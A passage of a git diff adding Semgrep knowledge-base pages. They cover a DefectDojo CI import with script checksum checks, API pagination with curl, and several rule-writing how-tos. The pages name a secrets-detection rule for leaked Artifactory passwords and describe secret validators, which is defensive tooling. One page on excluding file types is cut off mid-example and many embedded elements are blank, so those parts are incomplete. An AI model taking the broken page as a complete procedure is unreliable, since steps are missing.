+ - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
+ tags:
+ - defectdojo
+ variables:
+ DEFECT_DOJO_API_TOKEN: $DEFECT_DOJO_API_TOKEN
+```
+
+
+**TIP**
+
+As a good security practice, this pipeline includes checksum validation for the import script, to ensure that the script has not been tampered with.
+
+
+
+There are some environment variables defined in the `gitlab-ci.yml` file, such as:
+- `DEFECTDOJO_URL`
+- `PRODUCT`
+- `IMPORT_SEMGREP_TO_DEFECTDOJO_SHA_CHECKSUM`
+
+They must be defined in the GitLab pipeline. Settings->CI/CD->Variables:
+
+
+
+
+In the example, the values are:
+- `DEFECTDOJO_URL` = http://localhost:8080/ (Local DefectDojo deployment)
+- `PRODUCT` = chess-game
+- `IMPORT_SEMGREP_TO_DEFECTDOJO_SHA_CHECKSUM` = c41aed4055adeee415b795cc17a069b144fb51bc31f6c4925be3b82d0b54de33 Uimport_semgrep_to_defect_dojo.py
+
+The content for this last variable was generated with the following command:
+`shasum -a 256 -U import_semgrep_to_defect_dojo.py`
+This command generates a unique checksum, taking as input the content of the script, and it will be used to verify that the script has not changed.
+
+In the pipeline, the integrity of the script is verified with the following commands:
+```
+echo $IMPORT_SEMGREP_TO_DEFECTDOJO_SHA_CHECKSUM > sha-import-dd.tmp
+shasum -a 256 -U -c sha-import-dd.tmp
+```
+If the script has not changed since the checksum was generated, the pipeline will continue normal execution. Otherwise it will stop and return an error.
+
+Example DefectDojo screenshot, after a pipeline execution:
+
+
+
+
+## Conclusions
+
+If you use multiple vulnerability tools, including Semgrep, importing results to [DefectDojo](https://www.defectdojo.com/) can be helpful in managing data across all of these tools.
diff --git a/mintlify-docs/kb/integrations/pagination.mdx b/mintlify-docs/kb/integrations/pagination.mdx
new file mode 100644
index 0000000000..32568eed3c
--- /dev/null
+++ b/mintlify-docs/kb/integrations/pagination.mdx
@@ -0,0 +1,107 @@
+---
+title: "How to paginate responses from the Semgrep API"
+---
+
+Semgrep's API endpoints use both offset-based pagination and cursor-based pagination.
+
+## Offset-based pagination
+
+Offset-based pagination defines a **limit** to specify the number of entries fetched and **offset** to indicate where to start collecting data, which correspond to the `page_size` and `page` query parameters described in this section.
+
+The following API endpoints support offset-based pagination:
+
+
+
+
+
+
+
+For these endpoints, include the following query parameters to paginate through results:
+
+| Query parameter | Type | Description |
+| :--- | :--- | :--- |
+| `page` | integer | The page of results to return. Page numbering begins at `0`. Default: `0`|
+| `page_size` | integer | The maximum number of records returned per page. Default: `100`. |
+
+### Example
+
+To request a list of Code or Supply Chain findings, specifically the second page where each page contains 100 items, make a cURL call as follows:
+
+```bash
+curl 'https://semgrep.dev/api/v1/deployments/YOUR_DEPLOYMENT_SLUG/findings?page=2&page_size=100' \
+--header 'Authorization: Bearer YOUR_API_TOKEN'
+```
+
+## Cursor-based pagination
+
+The [List Secrets](https://semgrep.dev/api/v1/#tag/SecretsService/operation/SecretsService_ListSecretsPath) endpoint supports cursor-based pagination:
+
+For these endpoints, include the following query parameters to paginate through results.
+
+| Query parameter | Type | Description |
+| :--- | :--- | :--- |
+| `cursor` | string | Cursor to paginate through the results. Provide the cursor value from the response to retrieve the next or previous page. |
+| `limit` | integer | Page size to paginate through the results. |
+
+### Example
+
+To request a list of Secrets, make a cURL call as follows:
+
+```bash
+# modify the limit value to change the page size
+curl 'https://semgrep.dev/api/v1/deployments/YOUR_DEPLOYMENT_ID/secrets?cursor=&limit=25' \
+--header 'Authorization: Bearer YOUR_API_TOKEN'
+```
+
+The response includes the `cursor` attribute. Save the value returned with `cursor`, and provide it in subsequent calls to retrieve additional pages:
+
+```bash
+curl 'https://semgrep.dev/api/v1/deployments/20169/secrets?cursor=Pm...3D&limit=25' \
+--header 'Authorization: Bearer YOUR_API_TOKEN'
+```
+
+Repeat this process for additional pages.
+
+## Mixed pagination
+
+The following API endpoints support mixed usages of page- and cursor-based pagination:
+
+
+
+
+
+
+
+### Example
+
+To request a list of repositories with dependencies, make a call to the following URL. Adjust `page_size` accordingly:
+
+```bash
+curl 'https://semgrep.dev/api/v1/deployments/YOUR_DEPLOYMENT_ID/dependencies/repositories' \
+--header 'Content-Type: application/json' \
+--header 'Authorization: Bearer YOUR_API_TOKEN' \
+--data '{
+ "page_size": 5
+}'
+```
+
+The API returns `cursor` as part of the response:
+
+```bash
+{
+ ...
+ "cursor": 1097374
+}
+```
+
+Add the `cursor` key-value pair to the JSON body of subsequent calls to obtain additional pages:
+
+```bash
+curl 'https://semgrep.dev/api/v1/deployments/YOUR_DEPLOYMENT_ID/dependencies/repositories' \
+--header 'Content-Type: application/json' \
+--header 'Authorization: Bearer YOUR_API_TOKEN' \
+--data '{
+ "page_size": 1,
+ "cursor": 1097374
+}'
+```
\ No newline at end of file
diff --git a/mintlify-docs/kb/rules.mdx b/mintlify-docs/kb/rules.mdx
new file mode 100644
index 0000000000..5792b30024
--- /dev/null
+++ b/mintlify-docs/kb/rules.mdx
@@ -0,0 +1,45 @@
+---
+title: "Rules"
+---
+
+
+
+ Change rule severity and other metadata by forking rules.
+
+
+ Ellipsis metavariables can help with matching multiple word tokens.
+
+
+ Exclude file types that generate false positives for a specific rule.
+
+
+ Approximate absence checks by matching a file and excluding desired content.
+
+
+ Use generic pattern matching mode to match comments in code files.
+
+
+ Implement rule patterns that include a target language's reserved words.
+
+
+ Understand supersession between Community and Pro rules and across products.
+
+
+ Follow rule and file performance principles to optimize scan times.
+
+
+ Change the default mode for a ruleset.
+
+
+ Learn how to run all available rules on your repository.
+
+
+ Understand how rule severity and confidence are determined.
+
+
+ Fix issues with `pattern-not` when excluding cases in custom rules.
+
+
+ Use the Semgrep rule schema in VS Code to make rule writing easier.
+
+
\ No newline at end of file
diff --git a/mintlify-docs/kb/rules/changing-rule-severity-and-other-metadata.mdx b/mintlify-docs/kb/rules/changing-rule-severity-and-other-metadata.mdx
new file mode 100644
index 0000000000..747b703924
--- /dev/null
+++ b/mintlify-docs/kb/rules/changing-rule-severity-and-other-metadata.mdx
@@ -0,0 +1,73 @@
+---
+title: "Change rule severity and other metadata by forking rules"
+---
+
+To alter the severity or other metadata of a Semgrep rule, it must be forked and then updated. Forking means to copy or duplicate the rule, thereby creating your own custom version of it. Once this custom version is created, it can then be modified as needed.
+
+
+**NOTE**
+
+Only Semgrep Code and Secrets rules can be forked.
+
+
+
+## Fork a rule
+
+One way to create new rules is to fork an existing rule in the Semgrep Registry and modify it to meet your software and business requirements.
+
+For example, Semgrep’s Java `crypto` ruleset prohibits the use of weak hashing algorithms `SHA-1` and `MD5`. However, your organization also prohibits the use of other hash functions as part of its standards or security compliance. The following steps illustrate the process of forking an existing `use-of-sha1` rule and changing it to forbid MD2 hashes.
+
+
+
+ Use the search bar to find relevant rules. For this example, you can search for rules using `SHA1`.
+
+ 
+
+
+
+ Under **java > lang > security > audit > crypto**, click **use-of-sha1** to load the rule. You cannot directly edit the rules in Semgrep Registry, so click **Fork** to make a copy.
+
+ 
+
+
+
+
+ Semgrep copies the rule to your organization's set of rules.
+
+
+ Edit the rule.
+
+
+ Update your test cases.
+
+
+ Click **Run** to test and validate your rule.
+
+
+ When you finish your changes, click **Save**.
+
+
+
+The following example shows how [the original rule, identifying uses of `SHA-1` and `MD5`, has been modified to find uses of MD2](https://docs.oracle.com/javase/9/specs/security/standard-names.html#messagedigest-algorithms) and the severity of such findings is increased from `WARNING` to `ERROR`.
+
+
+
+
+
+When you fork a rule, the copy is independent from the original. To run your new rule in your scans, [add it to a policy](/semgrep-code/policies#add-rules). If you want your copy to replace the rule you forked, add it to a policy, then disable the original on the Policies page.
+
+## Changing the severity
+
+Once you have forked the rule, you can change the [severity or other metadata](/writing-rules/rule-syntax#required) to your liking.
+
+Then, save this custom version of the rule to your organization's rules, making it available to use within your policy as defined in Semgrep AppSec Platform.
+
+
+
+
+
+By default, saving the rule also enables you to search for it in the [Semgrep Registry](https://semgrep.dev/r), with visibility limited to your organization.
+
+
+
+
\ No newline at end of file
diff --git a/mintlify-docs/kb/rules/ellipsis-metavariables.mdx b/mintlify-docs/kb/rules/ellipsis-metavariables.mdx
new file mode 100644
index 0000000000..46a47e1fea
--- /dev/null
+++ b/mintlify-docs/kb/rules/ellipsis-metavariables.mdx
@@ -0,0 +1,39 @@
+---
+title: "Matching multiple tokens with ellipsis metavariables"
+---
+
+Using ellipsis (`...`) to match a sequence of items (for example, arguments, statements, or fields) is one of the most common constructs in Semgrep rules. Likewise, using metavariables ($VAR) to capture values (such as variables, functions, arguments, classes, and methods) is extremely common and powerful for tracking the use of values across a code scope.
+
+## Introduction to ellipsis metavariables
+
+Ellipses can be combined with metavariables to increase matching scope from a single item to a sequence of items, [while capturing the values for later re-use](/writing-rules/pattern-syntax/#ellipsis-metavariables).
+
+Most commonly, ellipsis metavariables like `$...ARGS` are used for purposes like matching multiple arguments to a function or items in an array.
+
+However, they can also be used to match multiple word tokens. As part of Semgrep's pattern matching, it separates the analyzed language into tokens, which are single units that make up a larger text. Some tokens, typically alphanumeric tokens, are "words", and some are word separators (like punctuation and whitespace).
+
+Using ellipsis metavariables to match multiple word tokens is especially helpful in [Generic pattern matching mode](/writing-rules/generic-pattern-matching). Because this mode is generic, it's not aware of the semantics of any particular language, and that comes with [caveats and limitations](/writing-rules/generic-pattern-matching#caveats-and-limitations-of-generic-mode).
+
+In generic mode, a word token that can be matched by a metavariable is defined as a sequence of characters in the set `[A-z0-9_]`. So `ABC_DEF` is one token, and a metavariable such as `$VAR` captures the entire sequence. However, `ABC-DEF` is two tokens, and a metavariable such as `$VAR` does not capture the entire sequence.
+
+## Capturing multiple tokens with ellipsis metavariables
+
+Not all languages you might match using generic mode share the same definition of word tokens. If you're matching patterns in one of these languages, your metavariables might not match as much of a word token as you expect. For example, in HTML, "ABC-DEF" is a single token (perhaps an `id` value).
+
+If the language you're working with allows other characters in tokens, using ellipsis metavariables can prevent problems with metavariables matching too little of the pattern.
+
+To match all of `ABC-DEF` in `generic` mode, use an ellipsis metavariable, like `$...VAR`. Here is an example rule:
+
+
+
+
+
+If you remove the ellipsis in the `$...ID` variable, the second example no longer matches.
+
+## Alternative: try the Aliengrep experiment
+
+To address some of the limitations of generic mode, the team is experimenting with a new mode called [Aliengrep](/writing-rules/experiments/aliengrep).
+
+With Aliengrep, you can [configure what characters are allowed as part of a word token](/writing-rules/experiments/aliengrep/#additional-word-characters-captured-by-metavariables), so that you could match the HTML example with a single metavariable. You can also [have even more fun with ellipses](/writing-rules/experiments/aliengrep/#ellipsis-).
+
+Give it a try and share your thoughts!
diff --git a/mintlify-docs/kb/rules/exclude_rule_for_certain_filetypes.mdx b/mintlify-docs/kb/rules/exclude_rule_for_certain_filetypes.mdx
new file mode 100644
index 0000000000..e21e5f5bf2
--- /dev/null
+++ b/mintlify-docs/kb/rules/exclude_rule_for_certain_filetypes.mdx
@@ -0,0 +1,104 @@
+---
+title: "How to exclude certain file types for a particular rule"
+---
+
+Certain filetypes can generate numerous false positives and delay your triage process. This document helps you achieve a selective middle ground:
+
+- Continue to include the file type to scan with other rules
+- Reduce time spent triaging false positives
+
+## Background
+
+This article uses a real-life case in scanning `.svg` files. `svg` files mostly comprise a string of thousands of characters:
+
+```
+
+
+ Alter the scan command to still scan for the default configuration you have, with the following changes:
+
+ i. Exclude the original noisy rule as articulated in the false positive reporting.
+
+ ii. Include the new custom rule that excludes your target paths.
+
+
+
+Thus, your original `semgrep scan` command or `semgrep ci` command can be similar to the following::
+
+```
+% semgrep scan --config=auto --config=my_custom_artifactory.yml --exclude-rule generic.secrets.security.detected-artifactory-password.detected-artifactory-password
+```
diff --git a/mintlify-docs/kb/rules/match-absence.mdx b/mintlify-docs/kb/rules/match-absence.mdx
new file mode 100644
index 0000000000..b6ab00d211
--- /dev/null
+++ b/mintlify-docs/kb/rules/match-absence.mdx
@@ -0,0 +1,33 @@
+---
+title: "Match the absence of something in a file"
+---
+
+Currently, Semgrep does not have a clear way to match the absence of a pattern, rather than the presence of one. However, you can approximate this behavior by matching an entire file with `pattern-regex`, and excluding a file that contains the desired content with `pattern-not-regex` or other negative patterns.
+
+Here is a simple example:
+
+```yml
+rules:
+ - id: a
+ patterns:
+ - pattern-regex: |
+ (?s)(.*)
+ - pattern-not-regex: .*YOUR PATTERN TO BLOCK
+ message: match
+ languages:
+ - generic
+ severity: HIGH
+```
+
+
+**EXAMPLE**
+
+Try this pattern in the [Semgrep Playground](https://semgrep.dev/playground/s/vop8).
+
+
+
+The regular expression pattern `(?s)(.*)` uses the `s` flag to put the match in "single-line" mode, so that the dot character matches a newline. This allows `(.*)` to match multiple lines, and therefore match an entire file.
+
+If the file contains `YOUR PATTERN TO BLOCK`, then the match is negated and the file does not appear as a finding. If the file does not contain `YOUR PATTERN TO BLOCK`, the file is flagged as a finding. With this rule, the finding spans the whole file, starting at line 1.
+
+
diff --git a/mintlify-docs/kb/rules/match-comments.mdx b/mintlify-docs/kb/rules/match-comments.mdx
new file mode 100644
index 0000000000..b4af449594
--- /dev/null
+++ b/mintlify-docs/kb/rules/match-comments.mdx
@@ -0,0 +1,78 @@
+---
+title: "Match comments with Semgrep"
+---
+
+When Semgrep rules target specific languages, they generally do not match comments in the targeted code files. Comments are not part of the semantic and syntactic structure of the document, so in most cases they are ignored.
+
+However, it's sometimes useful to match comments. For example, comments can control the behavior of other linters, such as type checkers. You might also have certain formatting standards for comments, such as requiring that a `TODO` comment contains a ticket capturing the required work.
+
+To match comments with Semgrep, use the `generic` language target to invoke [generic pattern matching](/writing-rules/generic-pattern-matching). (Alternatively you may use `pattern-regex` which [does file-level matching](/writing-rules/rule-syntax#pattern-regex) rather than semantic / syntactic matching, which is beyond the scope of this article.)
+
+## Example rule
+
+Suppose that your organization requires all `TODO` comments to have an associated Jira ticket. This rule finds TODO lines with no `atlassian.net` content and identifies any lines not containing a Jira Cloud ticket link.
+
+```yaml
+rules:
+ - id: no-todo-without-jira
+ patterns:
+ - pattern: TODO $...ACTION
+ - pattern-not: TODO ... atlassian.net ...
+ options:
+ generic_ellipsis_max_span: 0
+ message: The TODO comment "$...ACTION" does not contain a Jira ticket to resolve the issue
+ languages:
+ - generic
+ severity: LOW
+ metadata:
+ category: best-practice
+```
+
+
+**NOTE**
+
+Try this pattern in the [Semgrep Playground](https://semgrep.dev/playground/s/lBDRL).
+
+
+
+This rule also includes the `generic_ellipsis_max_span` option, which [limits the ellipsis to matching on the same line](/writing-rules/generic-pattern-matching/#handling-line-based-input) and prevents it from over-matching in this generic context.
+
+## Limiting the match to certain file types
+
+If particular types of comments are only relevant for certain files, you can use the `paths:` key to limit the rule to files of that type. For example, `mypy` [type ignores](https://mypy.readthedocs.io/en/stable/error_codes.html#silencing-errors-based-on-error-codes) are only relevant in Python files.
+
+```yaml
+...
+rules:
+ - id: no-mypy-ignore
+ ...
+ paths:
+ include:
+ - "*.py"
+```
+
+## Ignoring some comments in generic mode
+
+It is possible to [ignore comments of particular types](/writing-rules/generic-pattern-matching#ignoring-comments) in generic mode using the `generic_comment_style` option. For example, to ignore C-style comments but match any other style:
+
+```yaml
+rules:
+ - id: css-blue-is-not-allowed
+ pattern: |
+ color: blue
+ options:
+ # ignore comments of the form /* ... */
+ generic_comment_style: c
+ message: |
+ Blue is not allowed.
+ languages:
+ - generic
+ severity: LOW
+```
+
+## Additional resources
+
+
+
+
+
diff --git a/mintlify-docs/kb/rules/pattern-parse-error.mdx b/mintlify-docs/kb/rules/pattern-parse-error.mdx
new file mode 100644
index 0000000000..ed8db83ef0
--- /dev/null
+++ b/mintlify-docs/kb/rules/pattern-parse-error.mdx
@@ -0,0 +1,61 @@
+---
+title: "Fix pattern parse errors when running rules"
+---
+
+When using a targeted language's reserved words in rules, you may see the following error:
+
+```console
+[ERROR] Pattern parse error in rule
+```
+
+## Background
+
+Each programming language has a list of reserved words that cannot be used as identifiers, such as the names of variables or functions. If you write a rule that results in the following error when run, you are triggering a reserved word conflict:
+
+```console
+[ERROR] Pattern parse error in rule ruleName:
+ Invalid pattern for JavaScript:
+--- pattern ---
+delete
+--- end pattern ---
+Pattern error: Stdlib.Parsing.Parse_error
+```
+
+## Resolution
+
+Using a reserved word in your rule leads to parsing errors, so if you see this error, determine if the words cited in the error are reserved words. If they are, you can replace your `metavariable-pattern` with `metavariable-regex`.
+
+This substitution works because `metavariable-pattern` tries to match the pattern within the captured metavariable, which is going to be affected by how reserved keywords are parsed, while `metavariable-regex` runs a regex on the text range associated with the metavariable, ignoring how its content would be parsed and bypassing the issue.
+
+### Example
+
+The following rule would elicit the "[ERROR] Pattern parse error in rule" response:
+
+```yaml
+patterns:
+- pattern-inside: app.$FUNC(...)
+- pattern-not-regex: .(middleware.csrf.validate).
+- metavariable-pattern:
+ metavariable: $FUNC
+patterns:
+- pattern-either:
+- pattern: post=
+- pattern: put
+- pattern: delete
+- pattern: patch
+```
+
+To fix the error, replace
+
+```yaml
+- metavariable-pattern:
+ metavariable: $FUNC
+```
+
+with
+
+```yaml
+- metavariable-regex:
+ metavariable: $FUNC
+ regex: ^(post|put|delete|patch)$
+```
diff --git a/mintlify-docs/kb/rules/pro-vs-community-secrets-vs-code-rules.mdx b/mintlify-docs/kb/rules/pro-vs-community-secrets-vs-code-rules.mdx
new file mode 100644
index 0000000000..f6a9f426ac
--- /dev/null
+++ b/mintlify-docs/kb/rules/pro-vs-community-secrets-vs-code-rules.mdx
@@ -0,0 +1,46 @@
+---
+title: "Rule upgrades and supersession"
+description: "This article describes Semgrep behavior when multiple rules match the same issue in the same code. Overlap can occur when you scan your project with Semgrep Code using similar **Pro** and **CE** rules, or when you scan your code using both **Semgrep Code** and **Semgrep Secrets**."
+---
+
+## Pro versus CE rules in Semgrep Code
+
+CE rules are public, and anyone can contribute them. They use only features available in the Semgrep CE (OSS) engine.
+
+Pro rules are authored by Semgrep. They might cover the same topics as a CE rule, but they use the Pro engine. Since the Pro engine includes advanced features, like **cross-file (interfile)** analysis, matches are often more precise. Semgrep also publishes new Pro rules that overlap older Pro rules as coverage improves.
+
+When rules overlap, results might vary depending on which rules you run:
+
+- If a Pro rule exists, but you run only the overlapping CE rule, you might see more false positives than you would with the Pro rule.
+- If you run both the Pro and the CE rules, you might see duplicate findings for the same underlying issue.
+
+## Identify findings from superseded rule
+
+When more than one rule can match the same issue in the same code, Semgrep uses supersession relationships between rules to determine and recommend the preferred rule.
+
+Semgrep uses **badges** to mark superseded rules on the **Findings** and findings' **Details** pages of AppSec Platform.
+
+Findings from the **superseding** (preferred) rule do not show upgrade badges. Findings from a **superseded** rule may show a badge. On AppSec Platform, you can click the badge to see the rule Semgrep recommends using instead.
+
+The following table summarizes the badges:
+
+| Badge | Meaning |
+| :------ | :------ |
+| Pro | The finding is from a Pro rule. This label is separate from the **Upgrade available** badge below. |
+| Pro rule available | The finding is from a CE rule, but Semgrep recommends a Pro rule for this use case. |
+| Upgrade available | The finding is from a Pro rule, but Semgrep recommends a different Pro rule, such as a newer or narrower rule. The finding can also show the **Pro** badge. |
+
+
+
+## Semgrep Secrets versus Semgrep Code rules
+
+Semgrep Code offers rules that can identify leaked credentials in source code, but Semgrep Secrets uses detection rules that include [validators](/semgrep-secrets/conceptual-overview#validate-secrets) to confirm whether the match is a real, active secret, helping reduce noise.
+
+When a Code and Secrets rule exists for the same issue, Semgrep marks the findings from Semgrep Secrets rules as superseding the Semgrep Code rules. The supersession behavior matches the behavior outlined in [Pro versus CE rules in Semgrep Code](#pro-community-supersession).
+
+A finding from the superseded Semgrep Code rule displays the **Secrets version available** badge.
+
+
+## Upgrade rules
+
+See [Upgrade your rules](/semgrep-secrets/getting-started#upgrade-your-rules) to see the rules you're using for which there is an upgrade in Semgrep AppSec Platform.
diff --git a/mintlify-docs/kb/rules/rule-file-perf-principles.mdx b/mintlify-docs/kb/rules/rule-file-perf-principles.mdx
new file mode 100644
index 0000000000..1f1e48ff08
--- /dev/null
+++ b/mintlify-docs/kb/rules/rule-file-perf-principles.mdx
@@ -0,0 +1,53 @@
+---
+title: "Performance principles for rules and files to abide by when scanning repositories"
+---
+
+## Rules
+
+The amount of time required for rules to run scales better than linearly when
+adding interfile rules, which are those with `interfile: true` in the `options` key.
+That is, doubling the number of interfile rules increases the runtime, but not
+by double. However, some rules run faster than others, and adding a slow rule
+when all the rest are fast can cause a significant slowdown.
+
+Rules are slower if the sub-patterns, such as `pattern: <... $X ...>`, result in
+a greater number of matches. When writing rules, pay special attention to the
+problems raised by sub-pattern matches. The most important factor for runtime is
+the time spent adding to various lists or sets.
+
+You can benchmark your rules by adding the `--time` flag to your `semgrep scan`
+command. When you use this flag, your results return with a timing summary; if
+your output format is JSON, you'll see times for each rule-target pair.
+
+## Files
+
+Generally, the time required to scan files scales linearly with the number of
+files scanned, but file size is still important. Overall, the time taken is
+**time for setup work + time for matching**. For setup work, files aren’t
+analyzed alone but in groups of mutually dependent files called strongly
+connected components (SCCs).
+
+The time for setup work is **number of SCCs * time for each SCC**, where the
+time for each SCC grows, in the worst case, exponentially up to certain limits
+set by Semgrep. This means that making SCCs larger with more mutually dependent
+files affects scan time more negatively than adding more SCCs.
+
+The time for matching is **number of files * time to match each file**. The time
+to check each file can also grow, in the worst case, exponentially, especially
+when a rule has a lot of matches in subpatterns. However, the default settings
+of `--timeout 5` `--timeout-threshold 3` means that a file times out if:
+
+- 5 seconds elapse without the match process completing
+- 3 rules time out
+
+You can configure these flags to skip long files after a shorter timeout period
+or when a smaller number of rules timeout. Usually, Semgrep matches files pretty
+quickly, but minified JavaScript files can cause significant performance issues.
+
+Semgrep sets a file size limit of 1 MB for each file scanned, but you can
+modify this setting using the `--max-target-bytes` flag. For example, if your
+flag is `--max-target-bytes=1500000`, Semgrep ignores any larger file. You can
+get a full list of files Semgrep skips by including the `--verbose` or
+`--debug` flags and inspecting the output log. This information helps you
+determine the feasibility of including those files and whether you should
+adjust the maximum file size limit to scan such files.
diff --git a/mintlify-docs/kb/rules/ruleset-default-mode.mdx b/mintlify-docs/kb/rules/ruleset-default-mode.mdx
new file mode 100644
index 0000000000..706ff5272d
--- /dev/null
+++ b/mintlify-docs/kb/rules/ruleset-default-mode.mdx
@@ -0,0 +1,19 @@
+---
+title: "Why do new rules keep appearing in Comment or Block mode?"
+---
+
+Semgrep AppSec Platform [Policies](/semgrep-code/policies) can contain both individual rules and **rulesets**, which are curated groups of rules recommended for particular purposes. All organizations start with two rulesets: the `default` ruleset, which is a good starter pack for security teams, and the `comment` ruleset, which is a good starter pack for developers.
+
+As Semgrep adds new rules to improve coverage, some of these rules are also added to rulesets. If you add a ruleset to your organization's policies, any new rules added to the ruleset automatically become a part of your policies as well.
+
+The `default` and `comment` rulesets are initially added in **Monitor** mode, where the findings generated by the rules are primarily intended for security teams to review. You can also [add new rulesets to your policies](/semgrep-code/policies#add-rulesets-to-your-policies-from-the-registry) from the Semgrep Registry.
+
+When you add a ruleset through the registry, you can add it in any policy mode: **Monitor**, **Comment**, or **Block**. The mode you choose will determine the mode for future rules that are added to that ruleset.
+
+Even if you later change some or all rules from a ruleset to a different mode, the default mode for the ruleset does not change. Therefore, when you add new rules to the ruleset, they are added in the original mode.
+
+## Change the default mode for a ruleset
+
+To change the default mode for a ruleset, follow the same process as for [adding a new ruleset to your policies](/semgrep-code/policies#add-rulesets-to-your-policies-from-the-registry) and select the desired default mode.
+
+After adding the ruleset in the default mode, you can then [change any individual rule modes](/semgrep-code/policies#block-a-pr-or-mr-through-rule-modes) for rules that you prefer to keep in a different mode.
diff --git a/mintlify-docs/kb/rules/run-all-available-rules.mdx b/mintlify-docs/kb/rules/run-all-available-rules.mdx
new file mode 100644
index 0000000000..3e41170a66
--- /dev/null
+++ b/mintlify-docs/kb/rules/run-all-available-rules.mdx
@@ -0,0 +1,41 @@
+---
+title: "Run all available rules on a repository"
+---
+
+To scan your repository with all of the rules available in the [Semgrep Registry](https://semgrep.dev/explore), navigate to the root of your repository and run:
+
+```
+semgrep --config=r/all .
+```
+
+If you are *not* logged in, `--config=r/all` runs all public rules from the Semgrep Registry, including community-authored rules.
+
+If you are logged in, `--config=r/all` runs all public rules from the Semgrep Registry, including community-authored rules, plus:
+
+- Your organization's private rules in the Registry, excluding unlisted private rules
+ - This excludes unlisted private rules
+- Semgrep Pro rules, if you have a Team or Enterprise subscription
+
+
+**WARNING**
+
+Running all rules is likely to produce many findings and generate noise in the form of false positives.
+
+
+
+## Error: "invalid configuration file found"
+
+If you encounter the following error, there is a syntax error in one of your custom rules.
+
+```console
+[ERROR] invalid configuration file found (1 configs were invalid)
+```
+
+To work around this error, while you correct the issues in the affected configuration file, run:
+
+```console
+semgrep --config r/all . -d
+semgrep --config ~/.semgrep/semgrep_rules.json .
+```
+
+The first command creates a cache of rules in `semgrep_rules.json` within the `.semgrep` directory in your home folder that omits the invalid rule. The second command runs a Semgrep scan using the local rule cache.
diff --git a/mintlify-docs/kb/rules/understand-severities.mdx b/mintlify-docs/kb/rules/understand-severities.mdx
new file mode 100644
index 0000000000..4bd8379ad0
--- /dev/null
+++ b/mintlify-docs/kb/rules/understand-severities.mdx
@@ -0,0 +1,29 @@
+---
+title: "How does Semgrep assign severity levels to rules?"
+---
+
+All Semgrep rules have one of four severity levels: Critical, High, Medium, or Low. The levels `ERROR`, `WARNING` and `INFO` used in existing rules are older values that correspond to High, Medium, and Low, respectively.
+
+## Semgrep Code and Secrets
+
+For Semgrep Code and Secrets rules, the severity indicates how critical the issues are that a rule detects.
+
+The rule author assigns the rule severity. The author's severity assignment for custom and third-party rules is the source of truth.
+
+As a best practice, severity for Semgrep Registry rules in the `security` category should be assigned by evaluating the combination of [likelihood](/contributing/contributing-to-semgrep-rules-repository/#likelihood) and [impact](/contributing/contributing-to-semgrep-rules-repository/#impact).
+
+## Semgrep Supply Chain
+
+Semgrep Supply Chain rule severity reflects the score assigned to the CVE using the [Common Vulnerability Scoring System (CVSS) score](https://nvd.nist.gov/vuln-metrics/cvss), or the severity value set by the GitHub Advisory Database. For example, a vulnerability is assigned Critical if it is given a CVSS score of 9.0 or higher.
+
+In addition to severity, Supply Chain displays an [Exploit prediction scoring system (EPSS) probability](https://www.first.org/epss/) for findings. The EPSS score represents the likelihood that the vulnerability will be exploited in the wild in the next 30 days. Its values range from 0% to 100%. The higher the score, the greater the probability the vulnerability will be exploited. Semgrep groups probabilities as follows:
+
+- **High**: 50 - 100%
+- **Medium**: 10 - <50%
+- **Low**: <10%
+
+## How are confidence levels assigned to rules?
+
+Confidence level is also set by the rule author, but it is intended to describe the rule, not the vulnerability the rule catches.
+
+The confidence level reflects how confident the rule writer is that the rule patterns capture the vulnerability without generating too many false positive findings. The rule author manually sets the appropriate confidence level. Rules that have more targeted and detailed patterns, such as advanced taint mode rules, are typically given `HIGH` confidence.
diff --git a/mintlify-docs/kb/rules/using-pattern-not-inside.mdx b/mintlify-docs/kb/rules/using-pattern-not-inside.mdx
new file mode 100644
index 0000000000..c955eaf26e
--- /dev/null
+++ b/mintlify-docs/kb/rules/using-pattern-not-inside.mdx
@@ -0,0 +1,80 @@
+---
+title: "My rule with pattern-not doesn't work: using pattern-not-inside"
+---
+
+One common issue when writing custom rules involves the unsuccessful exclusion of cases using `pattern-not`.
+
+If you are trying to exclude a specific case where a pattern is unacceptable unless it is accompanied by another pattern, try `pattern-not-inside` instead of `pattern-not`.
+
+## Background
+
+In Semgrep, a pattern that's inside another pattern can mean one of two things:
+
+- The pattern is wholly within an outer pattern
+- The pattern is at the same level as another pattern, but includes less code
+
+In other words, using `pattern-not` in your rule means that Semgrep expects the matches to be the same "size" (same amount of code), and does not match if that's not the case.
+
+## Example
+
+The [example rule](/writing-rules/rule-ideas/#systematize-project-specific-coding-patterns) `find-unverified-transactions` is a good example: `make_transaction($T)` is acceptable only if `verify_transaction($T)` is also present.
+
+To successfully match the target code, the rule uses `pattern` and `pattern-not`:
+
+
+
+
+
+But this rule is redundant. Both pattern clauses contain:
+
+```yml
+public $RETURN $METHOD(...){
+ ...
+}
+```
+
+However, if you refactor the rule by pulling the container out and using `pattern-inside`, the rule doesn't work -- [try it out](https://semgrep.dev/playground/s/KZOd?editorMode=advanced) if you like!
+
+```yml
+rules:
+ - id: find-unverified-transactions-inside
+ patterns:
+ - pattern-inside: |
+ $RETURN $METHOD(...) {
+ ...
+ }
+ - pattern: |
+ ...
+ make_transaction($T);
+ ...
+ - pattern-not: |
+ ...
+ verify_transaction($T);
+ ...
+ make_transaction($T);
+ ...
+```
+
+With an understanding of how `pattern-not` operates, you can see that this rule fails because the matches are not the same size. The `pattern-not` match is at the same level, but it is "larger" (contains more code).
+
+If you switch to `pattern-not-inside`:
+
+```yml
+- pattern-not-inside: |
+ ...
+ verify_transaction($T);
+ ...
+ make_transaction($T);
+ ...
+```
+
+The rule successfully matches the example code.
+
+## Further information
+
+See this video for more information about the difference between `pattern-not` and `pattern-not-inside`.
+
+
+
+
+
diff --git a/mintlify-docs/kb/rules/using-semgrep-rule-schema-in-vscode.mdx b/mintlify-docs/kb/rules/using-semgrep-rule-schema-in-vscode.mdx
new file mode 100644
index 0000000000..d24bcf44fb
--- /dev/null
+++ b/mintlify-docs/kb/rules/using-semgrep-rule-schema-in-vscode.mdx
@@ -0,0 +1,85 @@
+---
+title: "Use the Semgrep rule schema to write rules in VS Code"
+---
+
+You may already be familiar with writing rules in the [Semgrep Editor](/semgrep-code/editor). However, if your IDE of choice is VS Code and you'd like to write Semgrep rules there, using the Semgrep rule schema will provide a richer editing environment, allowing VS Code to understand the shape of your rule's YAML file, including its value sets, defaults, and descriptions ([reference](https://marketplace.visualstudio.com/items?itemName=redhat.vscode-yaml#associating-schemas)).
+
+
+**TIP**
+
+Writing rules locally in your IDE is also helpful for iteratively testing them against an entire local repository, as opposed to just a snippet of test code.
+
+
